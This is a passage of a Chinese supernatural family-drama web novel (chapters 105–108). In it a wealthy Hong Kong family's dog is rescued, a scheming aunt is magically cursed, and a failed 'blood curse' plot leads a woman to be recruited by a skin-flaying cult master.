黎墨郢也起来换上了衣服，他跟学校请了假半月假，如今还剩下几天，干脆在家里休息好了再去。 黎墨郢收拾妥当后，陪婉婉一起去餐厅吃早饭。 祁山刚刚进行过晨练，脚步轻快的进门，先跟小婉婉打了招呼，便坐下仔细观察黎墨郢的脸色。 “看来孙师傅说的不错，小小姐给您的符纸虽然能够压制煞气，但都不如跟小小姐在一起效果来得好，您今早起来的气色，比前两日好多了。” 小婉婉听到‘煞气’两个字，暂停了吃饭的动作，扭头看向黎墨郢。 “三哥哥，大黑龙又出来吓你了吗？” 黎墨郢对上小丫头圆溜溜的大眼睛，不想她担心，简单解释：“只是偶尔，并不像之前那么严重。” 不同于他表情里的轻松，对面的祁山神色相对比较凝重，但他能够理解黎墨郢是不想小小姐担心，才随口敷衍过去，于是他并没有继续讨论。 小婉婉跟着说了句：“没关系，大黑龙再出来，我帮你打跑。”便开始认真的吃饭。 黎墨郢见水晶虾饺距离她有些远，帮她夹起一个，放在餐盘。 这时，狗场的饲养员刘顺行色匆匆的进门，险些跑的鞋底直冒火星子。 他发现黎墨郢回来，又惊又喜。 “三少爷，您回来了！” “嗯，顺子叔，这么着急，发生什么事了？”黎墨郢问道。 刘顺擦了擦跑得满额头的汗，沉声答：“韩湘子从昨天早上出门，一直到现在都没回去，我满院子都找过，没见它的影子。” 第105章 韩湘子，你不要死 黎墨郢虽然平时不怎么去看那几只狗，可是对它们的性格有足够的了解。 他知道韩湘子贪玩，但它是那些狗里面智商最高的。 更多的时候，它出哪里，跟谁接触，都有目的。 “它这几天经常去哪里，你清楚吗？”黎墨郢问。 刘顺无奈叹了口气，回道：“自从小小姐落水，韩湘子就整日狂躁不安，跑到二奶奶院子口吠叫不停。后来我把它抓回去，捆上了绳子，它把绳子咬断也要往外跑，三少爷，您说有没有可能，小小姐落水这件事，跟二奶奶有关联？” 黎墨郢鼻腔里发出冷哼，虽然大哥和二哥没有查到线索，可吕洁芳身上发生的反噬，不是明摆着的。 “你有没有去二房那里找过？” “去过了，二奶奶那边的人都说没看见。”刘顺心里其实也在怀疑二房。 可是他也只是个饲养员，吕洁芳的佣人拦着不让他进门，他总不能硬闯。 所以才来这边先通知小婉婉，在带她一起去找老爷和老夫人帮忙。 现在黎墨郢回来，他直接汇报给他就行了。 黎墨郢默了两秒，刘顺正想建议，他亲自去寻一趟。 却听黎墨冰淡然开口：“把所有的狗都放出去，就不信找不到。” 黎墨郢的决定让刘顺双眼一亮，心说了一句：三少爷真是聪明！ 让狗去找，总是好过他们直接过去，肯定免不了一番扯皮。 而且这样还不浪费时间。 “三少爷，我这就办！” 刘顺按照吩咐回到狗场，对着所有的狗发布了命令，便打开了栅栏门。 刹那间，七八条体型硕大、肌肉贲张的巨型犬如同决堤的黑色洪流，猛地冲了出来！ 他们似乎直接就锁定了目标，向着一个方位狂奔而去。 刘顺望着它们横冲的方向，辨认出正是吕洁芳院子的位置。 节奏不一的狗爪子在石板路上叩击出急促而密集的嗒嗒声，沉重的呼吸声喉咙深处发出，压抑着焦躁与愤怒的低吼，交织成一股令人胆寒的声浪。 “哎哟！怎么来了这么多狗！” “快点关门！别让它们进来！” 佣人们看到这阵势，都吓得惊叫起来，有人试图拿起扫帚或木棍上前阻拦。 然而这些巨型犬一条条都身体矫健，以完美的阵型冲破了他们的防守。 对挥来的棍棒，他们也只是敏捷地闪躲开，或者发出威胁性的低吼警告，脚步丝毫不停，依旧坚定不移地朝着那个方向猛冲！ 狗群宛若无法阻挡的“洪流”，就这样一路冲到了关押边牧犬的杂物房。 狗群们依旧没有减速，为首的德国牧羊犬“吕洞宾”，甚至直接用自己的身躯“砰”地一声狠狠撞在门上！ 其它的狗也紧随着它的动作，以压倒性的阵势，直接撞开了房门。 院子里，佣人们都被吓得缩在一个角落里，生怕哪只狗过来，在她们身上咬一口。 吕洁芳在屋子里听到了动静，但是她腿脚不利索，连下床都困难。 平日里在她身边伺候的佣人还被咬伤了腿，放了假回去休息，吕洁芳叫了好几声，都没有人过来顾得上她。 无奈，她只好用力攀在窗口，查看外面的情况。 “该死的，怎么又来了这么多畜生！” …… 杂物房内。 边牧犬被人用绳子捆住了四肢和嘴，奄奄一息的躺在冰凉的地面。 它的身体几乎遍布了伤痕，嘴巴和鼻子里，流出的血水已经干涸，还有它的一条腿，也以不正常的角度弯曲着。 “呜——”为首的边牧犬吕洞宾发出一声悲怆的动静。 其他同伴也都垂着头，拉耸着尾巴，眼神忧伤的看着生命正在悄悄流逝的伙伴。 让这个本来就不大的拆房，瞬间就充满了狼狗们浓烈的哀伤。 它们缓慢的围在韩湘子身边，小心翼翼地用鼻子触碰它，或舔舐它的伤口。 德牧犬则企图用牙齿咬断捆绑同伴的绳子，可是，它哪怕稍微用力，边牧犬就会因为痛苦，发出难过的低呼。 终于，刘顺匆匆的跟着狗群赶到。 那些佣人拦不住狗群，但是在看到刘顺的时候，想到所作所为将要败露，一股脑的围上来阻止。 “这里是二奶奶的院子，我们大夫人吩咐过，任何人都不能进来打扰！” “刘师傅，你不好好看着你的狗，还跑到我们这里来捣乱，回头让二奶奶告诉老爷，看他如何罚你！” “刘师傅纵容这些狗闯我们院子，简直就是失职，还不快点把那群畜生叫走？” 刘顺担心韩湘子的安全，面对这些人的围攻急得直跺脚：“你们让开，我来找韩湘子，它一定在里面。” 佣人们堵住大门口推搡刘顺。 “我们说没在就没在，你赶紧把那些狗叫走，否则惊扰了二奶奶养病，你等着吃不了兜着走！” 刘顺只有一张嘴，声音压根盖不过她们，衣服也被拽掉了两颗扣子。 情急之下，他抬起手，吹了一声口哨。 刹那间，杂物房里的狗全都冲出来，吓得佣人赶忙放开刘顺，再一次跑到墙根处躲着。 刘顺心说，果然畜生种类，还得畜生对付。 不过马上他又在心里否认了这个说法。 他养的狗才不是畜生，跟他们相提并论，都是一种侮辱。 “敬酒不吃吃罚酒！你们谁敢拦我试试！”刘顺就这么在狗群的保护下，顺利的来到杂物房。 当他看见躺在地上重伤垂死的边牧犬，鼻腔涌出一股酸意，心口也阵阵的发紧，发疼。 “韩湘子！”刘顺跪在地上，想要像平常那样抚摸爱犬，可是他的双手却颤抖的，不知道能从哪里落下。 他只能尽量动作轻柔地替它解开绳子，而后挑一个合适的姿势，将它抱起来。 鲜红的血，随着他抱起来的动作，从狗嘴滴落而下。 刘顺没有多余的手擦眼泪，只任由泪水划过脸庞，嗓子干哑的道了句：“我们回家。” 刘顺抱着韩湘子，在狗群的掩护下出来。 届时，吕洁芳拄着拐杖，艰难的从屋里挪动出来。 眼见事情败露，她迎着头皮，结结巴巴的为自己辩解：“是这个畜生天天来我大门口叫，你又管不住，那我只能亲手给它点教训！” 刘顺满脸都是泪，看着吕洁芳羞恼的老脸，唇角深深的向下拉扯。 “是，是我管教不周，我的错我认，可是二奶奶把韩湘子伤成这样，昨天三少爷就已经回来了，你自己去跟他解释吧！” 说完，刘顺大步流星的抱着韩湘子离开。 吕洁芳一听黎墨郢在昨天晚上回来了，脑瓜子“嗡”的一声，由后心爬上一缕恐慌。 “回，回来了？” 吕洁芳双腿开始发抖，眼看着要支撑不住，她本能的往屋子里走。 一边走，她一边安慰自己：“回来就回来，我就不信，他能为了一只狗把我这个长辈怎么样！” …… 刘顺抱着韩湘子回到黎墨郢的院子，老泪纵横的他直接跪了下去。 “三少爷，小小姐，都是我失职，才害了韩湘子……” 他轻轻的将韩湘子放在地上，不是没想过给它治疗。 而是作为饲养员的他，本来就是兽医，再清楚不过狗狗伤及了五脏，又被耽误了延误了治疗时间，纵然华佗在世，也无力回天。 他跪拜在韩湘子的面前，肩膀不可抑制的颤抖。 跟在他身后的狗群，也齐齐的发出哀鸣，尽是对同伴的不舍。 黎墨郢则站在原地，目光定格在韩湘子的身上。 过去，他从来不喜欢这些狗，最多就是按照黎墨城的托付，管它们一日餐包，无病无灾。 因为狗看家护院的作用对他来说，是微乎其微的。 何况是在偌大的黎家，不缺佣人和保镖，这些狗存在的价值，也仅仅作为宠物。 可就是这些一直被轻看，不被重视的家伙们，却可以为了主人，勇敢的与自己敌不过的力量做对抗，生命安危都可以不顾。 黎墨郢的心情很沉重，纵然他身负灵力，小有所成，可是面对重伤的生灵，也只能眼睁睁的看着，它的生命一点点流逝。 这种想要挽留什么，却什么都不能做的无力感，让他的心像被钝器重凿。 胸口里的郁结，最终化为腾腾燃烧的火，漂红那双深邃的眼睛。 “照顾好小小姐。”黎墨郢没再看边牧犬，他径直走出了大门。 小婉婉刚才就看见他身上弥漫的空气，想要提醒他，不要被大黑龙控制。 可是眼下，她还是更担心狗狗的情况。 眼看着韩湘子的呼吸越发微弱，小婉婉跑过来，蹲在地上，用手轻轻抚摸它的头。 韩湘子在被小婉婉触碰的瞬间，发出一声长长的悲鸣，像是委屈，也像是为主人报仇后的欣慰。 “韩湘子，你不要死，我给你呼呼就不疼了。” 小婉婉张开小嘴，对着边牧犬的嘴巴吹了吹，然后再看对着它受伤的腿，也吹了两下。 在她做完这些之后，刚才呼吸断断续续的边牧，忽然长长地吸了口气。 浑浊的眼睛逐渐清明，它似乎想要抬起头，与小主人亲近。 小婉婉主动抚摸它的头和耳朵，让它完全躺下来，然后轻轻的安抚：“韩湘子，你会没事的，要乖乖的养身体哦。” 第106章 大哥遭难了（二更） 黎墨郢来到吕洁芳的院子，佣人们正在收拾狗群造成的狼藉。 见到黎墨郢的一瞬间，她们一个个都像是见到老虎的蚱蜢，丢掉手里的工具就四散开了。 “三、三少爷……” 黎墨郢大魔王的绰号，黎家没有人不知道。 这些佣人昨天打伤了韩湘子，本来就心虚，如今见到他亲自过来，就知道这份工作要保不住了。 而且以他‘大魔王’的行事作风，保不住工作是小事，都不知道将会面临什么样的惩罚！ “就是你们打伤了韩湘子？” 阳光下，他俊朗的面容此刻阴沉得可怕，黑色的雾气在眼底隐隐流动，毫无温度扫过院内每一个噤若寒蝉的佣人。 “是，是二奶奶的命令。”佣人们过于恐惧，被他的气势震慑的，只敢说出实话。 黎墨郢并没说要怎么惩罚她们。 但这种死寂的凝视比任何惩罚都令人恐惧，空气仿佛都凝固了，所有人连大气都不敢出。 “我给你们五分钟时间，再也不准踏进黎家一步。”终于，黎墨郢开了口，只是让她们收拾东西走人。 佣人们如同得到赦免，争先恐后地回房间收拾包裹。 瞬间，刚恢复了一点规矩的院子，变得比之前还要凌乱、萧条。 吕洁芳在窗口看见这一幕，气得脸上的沟壑都变得扭曲，无声捏紧了手里的拐杖。 随着黎墨郢出现在门口，吕洁芳被吓的“嗷”一声。 她十分怀疑自己眼花了，刚才黎墨郢还站在院子里，怎么眨个眼睛就到了她跟前。 吕洁芳被吓得丢了拐杖，直接跌坐在地上，颤抖的抬手指着黎墨郢。 “你、你……” ‘你’了半天，却一个字都说不出来。 “你以为，我们没有证据，就不知道是你害婉婉落水？”黎墨郢又上前了一步。 黎墨郢既然来了，自然不能只算韩湘子那一笔账！ “我想治你死罪，根本不需要证据。” 吕洁芳想要说什么，可是她发现自己在黎墨郢进门以后，呼吸就变得困难，根本一个字都发不出来。 她的老脸被憋得透紫，挣扎中，头发狼狈的散乱开，不停的后退想要抓住什么东西。 奈何她的背后，只有一堵冰冷冷的墙。 只见黎墨郢缓缓抬起右手，吕洁芳以为他要掐死自己，双手胡乱恢复，嗓子里发出‘荷、荷’的哑音。 然而，黎墨郢的手，并未落在她脖子上。 他的指尖萦绕起一丝极淡、却令人心悸的幽暗流光，这道光普通人的眼睛看不见，便是隐匿在他身体里的灵力。 “老虔婆。”他唇齿间碾出极低的自语，声音冷得掉渣：“就这么送你去死，未免太便宜，你要活久一点，好好感受痛苦。” 音落。 他并指如剑，那缕幽暗流光骤然凝聚于指尖，化作一枚几乎看不见的、不断扭曲震颤的漆黑符印，钻入吕洁芳的双腿之中。 吕洁芳并没有感觉到什么不适，看着黎墨郢那张渗透了冰冷的脸，侥幸滋生，以为他在戏弄自己。 “好你个臭小子，竟敢诅咒我，我要是有个三长两短，呜呜呜……” 黎墨郢的手指再一转动，又是一道黑色冷光，直打入吕洁芳的口中。 吕洁芳顿时觉得舌尖儿一麻，之后就再也不听使唤，她想要开口骂人，却连一个字都说不出来，只能发出“啊啊啊”的叫嚷。 吕洁芳憋得眼眶通红，想要起身质问黎墨郢对她做了什么。 她发现自己的双腿就像‘失踪’了一样，也不听她使唤。 吕洁芳不敢相信自己身上出现的情况，双手一起敲打双腿，片刻又用手去扣她的舌头。 紧张的汗水，和口水涂了她一片衣襟。 黎墨郢看够了这出脏污画面，冷声抛下一句：“剩下的日子，你好好享受。” 转身离开。 …… 黎墨郢回到院子。 祁山和刘顺一起围了过来。 祁山首先观察他的状态，询问了一句：“您还好吗？” 黎墨郢对他颔首，转而看向脸上挂着喜悦的刘顺。 “三少爷，小小姐当真是福星降世啊，韩湘子跟她待了一会儿，就脱离了生命危险，只要养一段时间就会康复的，您也不要为它担心了，我以后一定会严加管教，不让它在出去乱跑。” 黎墨郢听到韩湘子平安，点了点头，就快步走向屋子。 果不其然，在给韩湘子治疗后，小丫头的精气神都不似往日充足，身体软踏踏地趴在桌上，偶尔打一个小哈欠。 “三哥哥，不怕大黑龙。”小婉婉刚才就发现了黎墨郢的异常。 也是一直在等他回来，才没有休息。 黎墨郢蹲下来，将她抱到床边，轻轻抚摸她的头。 “我不怕大黑龙，婉婉累了，睡一会儿。” “那三哥哥不走。”小婉婉只知道，黎墨郢每次被大黑龙影响的时候，就要出去修行。 可是小婉婉还没有和他待够，一点儿也舍不得他走。 黎墨郢望着她对自己依赖的小脸儿，欣慰的勾了勾唇角。 跟她保证：“我不走，就在这里陪你。” “那好，说话算话哦。”小婉婉不放心的攥着他的拇指，闭眼睡着了。 …… 吕洁芳双腿突然不听使唤，嘴也不能说话，院子里的佣人也被黎墨郢赶走了。 最后是王素珍院子里的佣人过来查看，才将她抱到床上，还叫来了医生。 医生在给吕洁芳检查后，一脸纳闷儿。 “二奶奶除了基础病，还有肝火过旺，其他的没有什么问题。” “那好端端的，怎么会双腿不好使，连说话都不能了？”佣人满头雾水。 因为吕洁芳不能说话，她想问问这边发生了什么，都问不出个所以然。 吕洁芳瞪着眼睛，像是被愤怒附体的老母鸡，张牙舞爪的在床上连比画带“啊啊”的。 佣人怕她情绪过于激动，再把自己给刺激过去，赶忙出生安抚：“二奶奶，您别着急，我已经通知大夫人，等她过来，送您去医院带您检查一遍。” 吕洁芳这才安静一些，一番折腾下来，她疲惫的靠在床头，就像一个灰突突的乞丐。 然而她靠在床上等了半天，也不见王素珍过来。 她又开始发疯一样“啊啊”的大叫，佣人过来安慰，被她抄起手边的花瓶赶走。 花瓶在地上摔得四分五裂，溅起的碎片，在佣人的手臂上刮出一条长长的口子，疼得她直拧眉。 这个佣人本来就不是她院里的，若不是王素珍交代，她才不愿意伺候这个麻烦的老东西。 手臂被划伤，她捂着伤口，开始敷衍：“二奶奶稍安勿躁，您现在这里养着，我去看看大夫人怎么还不来，多半是被什么事给绊住脚了。” 佣人很开就回到王素珍的院子，将吕洁芳的情况告知。 王素珍这几天都在等着黎立轩那边发生意外，结果一丝风声都没等到，难免有些焦急。 因为只要黎立轩安好，那么她身上的‘血光之灾’，如同一把大刀，始终悬挂在头顶，让她心中难安。 “我知道了，都说让她消停一些，怎么还搞这么多麻烦出来！” 王素珍起身，叫了几个佣人，往吕洁芳的院子走。 刚要出大门，她陪嫁带过来的佣人跌跌撞撞的从客厅跑出来，因为过于匆忙，在门槛还被绊倒了。 连滚带爬地冲到王素珍面前，哭得泣不成声：“夫人，夫人呐……” “怎么了？”王素珍眉头紧蹙，听着佣人的哭声，心里直发毛。 “大爷、大爷今天开车外出郊游，回来遇到车祸，一家三口全都没了……”佣人虽然是王素珍的陪嫁，可早年一直跟随王家老太太，帮忙照顾王家老大，也算是他的半个奶娘。 王素珍一时没有反应过来，还在问：“大爷？哪个大爷？” 她心中想到了黎立轩，难道挡煞成了？ 没想到，佣人却大哭着说：“当然是咱们家大爷，老夫人打电话过来，让您赶快回去，老爷子被打击的半条命都快没了呀……” 王素珍脑袋“嗡”的一声！ 是她自己的大哥没了！ 而且还是一家三口！ 突如其来的重创，让王素珍险些站不住，扶着墙边才勉强撑住。 “不，明明都已经转移了，怎么会这样！” “夫人，我知道您心里难过，可是当务之急是替大爷料理后事，让他安息呀！老夫人还在家里等您，您可不能倒啊！”佣人挣扎着起身提醒王素珍。 王素珍想到自己敬仰的哥嫂，和疼爱的侄子，实在无法接受他们突然离世，指甲把手心都掐出了血。 她低吼着：“我不信，不信！”头也不回的跑出了门。 …… 王素珍冲入大门，一股浓重到令人作呕的血腥味便混杂着死寂的寒意，扑面而来。 她的目光越过前庭，猛地钉在了正厅的方向—— 厅堂中央，三具尸体毫无生气地躺在冰冷的地面上，盖着粗糙的白布，一只被鲜血染红的手，毫无生机的拉耸着。 “不！不可能……”王素珍疯了一样跑过去。 不顾众人的阻止，一把扯开了白布。 那张她熟悉的脸此刻灰白僵硬，双目圆睁，仿佛凝固着死前极致的惊恐，胸口是一个狰狞可怖的血洞，早已干涸发黑。 “大哥！”尖叫从王素珍喉咙里撕裂而出，带着毁天灭地的绝望，她跪坐在了地上，痛苦的捶打胸口。 为什么！ 为什么她明明已经将血光转给了黎立轩，她的至亲却还是遭了大难？ 到底是哪一步出了错！ 第107章 祸害遗千年（一更） 随着王素珍赶回家替大哥一家举行葬礼，吕洁芳这边就只有几个佣人过来照顾。 而二房的其他人也在收到王家老大车祸横死的消息后，全都关注着王素珍，且她们还要忙着去王家参加葬礼，是以，根本顾不上吕洁芳怎么样。 而王素珍只是作为二房的媳妇，还不至于惊动黎家二老出面。 只宋珍珍作为代表，去了王家一趟。 葬礼结束就回来了，并没有参加答谢宴。 宋淼淼和朱丽月在王素珍回来后，都来到她的院子里打听消息。 王素珍便简单的将自己听到的消息，说了一遍。 “据说是外出郊游，回来路上遇到一辆卡车出现故障，正面撞击在一起，大卡车司机还好，他们三口人命都没了。” “哎，人在做，天在看，我早就说王家老大做的那个行当害人，现在好，遭报应了吧！”宋淼淼吐掉嘴里的瓜子皮，眼睛斜斜的一口，看向朱丽月。 朱丽月不置可否，点了点头。 说起王家，早年在港城也是财势兼并的大家族，是在上一代的时候，遭遇了算计，才导致家门逐渐败落。 到了王素珍这一代，只能勉强在港城立足。 王家名下有三家公司，其中两家在老二和老三手里，最近才分出了一个子公司，交给最小的儿子掌管。 至于王家老大名下始终没有什么产业，但他一直都在帮着向家做事，手里的生意几乎都见不得光，而且他还借着向家的势力，做了不少坑人害人的事。 如今突然遭遇横祸，说不是报应，都没人信。 “不管怎么说，王家老大一没，王家都受了不小打击，王老爷子在出殡前就被送进医院，现在还不知道人怎么样。”宋珍珍又补了一手消息。 宋淼淼听后，发出一声冷笑：“那老头也不是什么好东西，今年也有九十五了吧？就算祸害遗千年，活得也够久了！” “就是有些可怜那孩子，才二十四岁，才刚留学回来，人就没了。”王素珍站在母亲的立场上，替那个孩子惋惜。 宋淼淼和朱丽月也都感同身受，沉默了下来。 尤其是朱丽月，大概是又回忆起自己当年犯下的错，让自己的儿子痛苦了那么多年。 内心的懊悔浮现，跟宋珍珍说了一声，就去了祠堂念经。 随着朱丽月离开，宋淼淼待得无趣，想到黎墨羽最近的成绩，着急上火的给他寻找名师补习功课。 二人离开后没多久，宋珍珍就听见一阵欢腾的小碎步，不断的接近门口。 宋珍珍脸上立刻挂起笑容，走到门口，正好穿着园服的奶娃娃，扑在她怀里。 “妈咪！” “宝贝吃饭了吗？看你跑的，都出汗了。”宋珍珍拿出手帕，给她擦拭额头上的汗水。 十一月虽然过了大半，但港城地处亚热带地区，全年气温较高，即便是冬天，气温也能达到二十度左右。 她能明显的感觉到，随着季节交换，刚来到港城不久的小婉婉还没充分适应，每天只要稍微动一下，就会浑身出汗。 不过当然，也跟小家伙胖嘟嘟的肉肉有关，来到黎家后，小家伙时常贪嘴儿，都吃出了一点儿婴儿肥。 “妈咪，你看！”小婉婉举起小手，手心里握着一只黄色的油布包。 宋珍珍还以为小家伙给她带来了什么好吃的，没有多想，接过布包打开，结果却被里面的东西吓得倒抽一口凉气。 她双手一抖，就把东西扔在了地上。 小婉婉不明所以地问：“妈咪，这是什么？” “婉婉别碰，我们离它远点。”宋珍珍抱起婉婉，绕开地上的东西，来到门外呼唤佣人。 “你们去把阿城、阿郢，还有祁先生都叫来。” 佣人得到吩咐，立刻跑到各个院子里去叫人。 宋珍珍膈应屋里的东西，没抱婉婉回去，而是站在院子里面等孩子们。 过程中，她坐在椅子上，问小婉婉：“宝贝，告诉妈咪，那个东西是从哪儿弄的？” 小婉婉开始转动脑筋回想，然后数起了小手指。 “三天前，爸比的书房，小黄、和小白带我找到的。”婉婉口中的小黄和小白，就是一直常驻在黎家的几只小鸟，小婉婉能够和它们沟通，宋珍珍是知道的，所以并不意外。 “是在你爸比书房里找到的？”宋珍珍听得背后直冒冷汗。 黎立轩在大桥断裂那天，避开凶险的事只有她知道！ 当时只以为，是因为婉婉的运气，助他避开了凶险。 而今天见到那张人皮面具，宋珍珍忽然茅塞顿开，觉得那不仅仅是一场意外，更像是一场谋划。 宋珍珍的双手双脚阵阵发冷，终于黎墨城和黎墨郢以及祁山赶到后，找到了主心骨。 她将小婉婉发现人皮面具的地点告诉三人，随后带他们去卧室查看那张面具。 祁山之前处理剥皮门，搜集了不少邪术相关的东西，一眼就辨认出，这张人皮面具乃是作为‘替身面魇’，用来帮别人抵挡灾祸。 而祁山与黎墨郢此前去往内地，联合孙师傅，虽然抓到了不少剥皮门余孽。 但实在因为内陆太大，又受到诸多地域的限制，导致怎么也清除不尽。 “看来，老鼠到底还是溜进了港城。”祁山忧心忡忡的皱起了眉，随即，他目光担忧的落给黎墨郢。 想说什么，碍于人多，到底没能开口。 黎墨郢身负灵气，能够感受到人皮面具上面的符咒波动，虽然很微弱，但是常人接触久了，身体健康就会受到影响。 只见他指尖轻轻一点，那张人皮面具，瞬间就在一道黑色的光影下，化成了一团飞灰。 “阿郢！”宋珍珍看得心惊肉跳，生怕黎墨郢受到那东西的影响。 好在，黎墨郢并没有问题，只是安抚的拍了拍她的手。 “它会出现在爹地书房，看来是有人想要借命，但是因为婉婉将它找出来，直接破除了血咒。” “会是谁呢？跟那些邪教的人有接触。”宋珍珍脑子有些乱，太多的线索拥挤在一起，让她理不出头绪。 还得作为局外人的祁山，看透了玄机。 “血咒被破，那么血主就会遭到反噬，且看这段日子，有谁是横死？” “是王家老大！”宋珍珍今天才参加完葬礼。 而按照日期推算，王家老大的死亡时间，就在三天前！ “难不成是王素珍，做了他们的内应？”王素珍喃喃。 祁山叹气：“黎先生之前帮助警署铲除它整个门派，他们回到港城报复，自然也会将他作为第一目标。” 所以，他才在当初极力阻止，黎家人随意参与到门派之争。 因为但凡他们使用一些非常的手段，就能够在普通人毫无察觉的时候，让人付出沉重的代价。 宋珍珍当时脸色一白，跌坐在了地上。 黎老爷和黎老夫人年迈，早就退居到幕后，黎墨城和黎墨冰虽然已经成年，开始和黎立轩学习打理生意，可到底他们还年轻，不足以支撑起整个产业的运作。 “阿轩若有事，那黎家就会无人支撑！” 到时，就给了黎立正机会！ 宋珍珍无法坐以待毙，既然真相已经摆在眼前，她即便抓不到剥皮门的人，也得先找一个开刀。 “好她个王素珍，敢在背后使阴招，我这就去会一会她！”宋珍珍起身就走，完全不给屋里人反应的机会，就冲出了门。 黎墨郢刚要去追，就被身前的小奶团子抱住大腿。 “三哥哥，抱我去追妈咪。” 没办法，她的小腿儿实在是跑的太慢了，根本追不上妈咪的速度。 说起来，她今天总算知道，三哥哥凶巴巴的时候，最像谁啦，原来还是像妈咪。 “我们走！”小婉婉拍了拍黎墨郢的肩膀，仿佛他是一个很舒服的坐骑。 黎墨郢抿了抿唇角，刚要迈步，黎墨城将他拦住。 “妈咪去找王素珍，少不得一通唇枪舌战，你跟婉婉还是别掺和了，我去。”黎墨城作为兄长，关键的时候，永远都是为弟弟妹妹考虑。 黎墨郢也不想让婉婉牵涉太多，但他又不放心，于是给祁山使了个眼色。 祁山立刻跟着黎墨城的脚步，一起去追宋珍珍。 …… 宋珍珍带着几个佣人，脚步声风的来到王素珍的院子。 她毫不犹豫的推开门，只见王素珍一身素缟，没有化妆，憔悴地靠在窗边。 手里捏着帕子时不时的擦眼泪，似乎还沉浸在丧兄之痛的哀戚之中。 宋珍珍见到她这幅样子，更是一肚子火气，开口便嘲讽：“王素珍，这里是黎家，你要披麻戴孝滚回你的王家，当这里是什么地方，容得了你哭丧？” 王素珍搞不懂，明明上午宋珍珍还去王家参加葬礼，怎么回来就是一副要吃人的样子，跑过来为难。 她脸上挂着委屈，却全然忘了，是她自己先对黎立轩下的狠手。 “大嫂，你这是什么意思？我兄长全家去世，我在自己屋里难过都不行吗？” “哼。”宋珍珍却不吃她这套，直接开门见山的说：“王素珍，你还跟我装？分明就是你联合歪门邪道，在阿轩书房埋下血咒。若不是我们发现及时，发生意外的人就是阿轩！如今看来，你兄长一家惨死，并不算无辜，倒更是替你承担孽障，被你给害死的！” 第108章 宋珍珍的手腕（二更） 王素珍亲眼看见兄长一家三口死在自己面前，内心之中最不能接受，不敢面对的就是这件事。 现在却被宋珍珍直接挑明，是她转移血咒失败，导致了血光降临到血亲身上，心口被一阵剧痛拥堵。 却在脑海中认定四个字：她不能认！ 王素珍硬着头皮，挂上一副被冤枉的委屈，声音也愈发凄楚：“大嫂！你怎能如此血口喷人！将这种无凭无据的事栽到我头上？我兄长他还尸骨未寒，你就这般上门欺负人呜呜……难道真的以为，我们王家没有人了吗？” 她越说越激动，猛地咳嗽起来，咳得撕心裂肺，脸色苍白如纸，仿佛下一刻就要喘不过气来。 她整个人软软地瘫倒在地上，气息微弱地喃喃：“大哥……你带我走吧，我在这黎家，一天都待不下去了……” 宋珍珍看着她这撒泼耍赖、滴水不漏的模样，气得脸色发青。 确实，如王素珍所说，她手里没有证据，治不了她的罪。 但并不妨碍她找其他理由，教训她一次。 “耍无赖是吗？你们俩，去把她的孝服给我扒了，再把嘴给我堵上，别让我听见她叫一声！” 宋珍珍并不是没有准备，来的时候，特意叫了院子里几个最壮实的佣人。 几人按照宋珍珍的交代，上去就把王素珍身上的孝服给扒了，面对王素珍的哭嚎，二人先在她脸上甩了几个巴掌，然后再用衣服把她的嘴堵上，末了，再来个五花大绑。 门外。 黎墨城和祁山后一步赶到，正要进门，就被宋珍珍带来的佣人给拦住。 “大少爷，祁先生，王夫人当下衣衫不整，两位都是男性，还是别进去了吧。” 黎墨城嘴角微抽，光是听着，就能想象到母亲的手段该有多强硬，确定她没有吃亏，便跟祁山在外面等着。 宋珍珍没一会儿从屋子里出来，她面色冷凝，对院子里的所有人吩咐：“明天早上之前，谁都不准进去，被我发现，一律按家规处置。” 宋珍珍作为整个黎家的女主人，她的话，在后院来说就是女王的宣告。 就算有人不服，也不敢在面上出现微词，王素珍那些佣人们一个个都低着头，谨小慎微的应：“是。” 宋珍珍最后看向王素珍从娘家带来的陪嫁佣人，冷笑了一声。 “今天的事，是你们家主子自找的，你现在就可以去通知黎立正，他若有意见，让他直接去找我！” 宋珍珍说完，飒气的一甩珠袖，昂首出了大门。 留下满院子人噤若寒蝉，屋子里静悄悄的，谁也不知道发生了什么，可是又都不敢忤逆宋珍珍，进去查看情况。 …… 王素珍被粗糙的麻绳紧紧捆绑在地上，嘴也被衣服堵住，只能艰难的发出‘呜呜呜’的呼救声。 然而外面的佣人全都惧怕宋珍珍，根本不敢进门解救她。 绳索深深勒进她的手腕和脚踝，几乎阻断了血液的流动，带来一阵阵刺痛的麻木和冰冷的窒息感。 王素珍每一次挣扎，只会让绳索嵌入得更深，痛得她眼前发黑。 深沉的恨意，化作无尽的火焰，在她的眼底疯狂的燃烧。 她在心中发誓：只要她还有一口气，就与宋珍珍不共戴天！ 就在这时，窗口传来一声极其轻微、几乎不存在的吱呀声。 瘦削颀长的身影便已无声无息地立在屋内，仿佛他本就是这阴影的一部分。 王素珍抬起头，看见来者，眼眶里的泪水汹涌着往外冒。 来者先是脱掉身上的外袍，替王素珍遮挡赤裸的身体，随即拿出她嘴里的衣服，再解开她手腕上的绳索。 “大师！”王素珍宛若见到了救星，死死地抓住鸦先生的衣袖。 “跟我走。”鸦先生抬起手。 冰凉的手指隔着手套，点在了她的眉心。 王素珍只觉得一股无法抗拒的力量，如潮水般猛烈袭来，眼前的一切，瞬间扭曲、模糊，替换成了另外一处地方。 正是鸦先生的修炼室！ 王素珍瞪大了双眼，震惊于他施展法术的神奇。 待反应过来后，她立刻跪在地上叩拜：“多谢鸦先生相救！” 鸦先生却告诉她：“我只是将你的意识带到这里，你的肉身还在黎家，跟你说一些事，就把你送回去。” 王素珍顿时想到自己去世的兄长、侄儿，心如刀割。 “鸦先生，血咒转移还是失败了！为什么？黎立轩总是那么幸运？为什么老天爷不肯眷顾我！我兄长一家因我惨死，连同我转移血咒，也跟着败露！” 王素珍趴在地上痛哭。 鸦先生轻轻的叹了一口气。 “血咒转移失败一事，也出乎我的意料之外，你兄长三口虽然因此冤死，但我观你命象，发现有入道之缘。你所经历的一切痛苦，都将成为你命中的气运，你可愿加入我的门派？今日我便收你为亲传弟子，日后再与黎家人对抗，便再也不用被吉星掣肘！” “您说……您要收我为弟子？”王素珍眼眸微晃，对于鸦先生的话，她似乎只听懂了这一句。 鸦先生颔首，来到她面前，向她递上一块**。 “世人庸碌一生，皆被皮囊所困，为表象所惑，爱恨情仇皆系于一具终将腐朽的皮囊。而我剥皮门，才是真正超脱皮相、直指本质的存在。” 他一边说着，黑色的手套轻轻抚摸他手上的人皮，动作轻柔如同爱抚情人。 “剥脱表象，方能见得真实。舍弃皮囊的束缚，才能触及力量的核心。疼痛？恐惧？那不过是蜕变的必经之路，是弱者无法理解的升华仪式。” 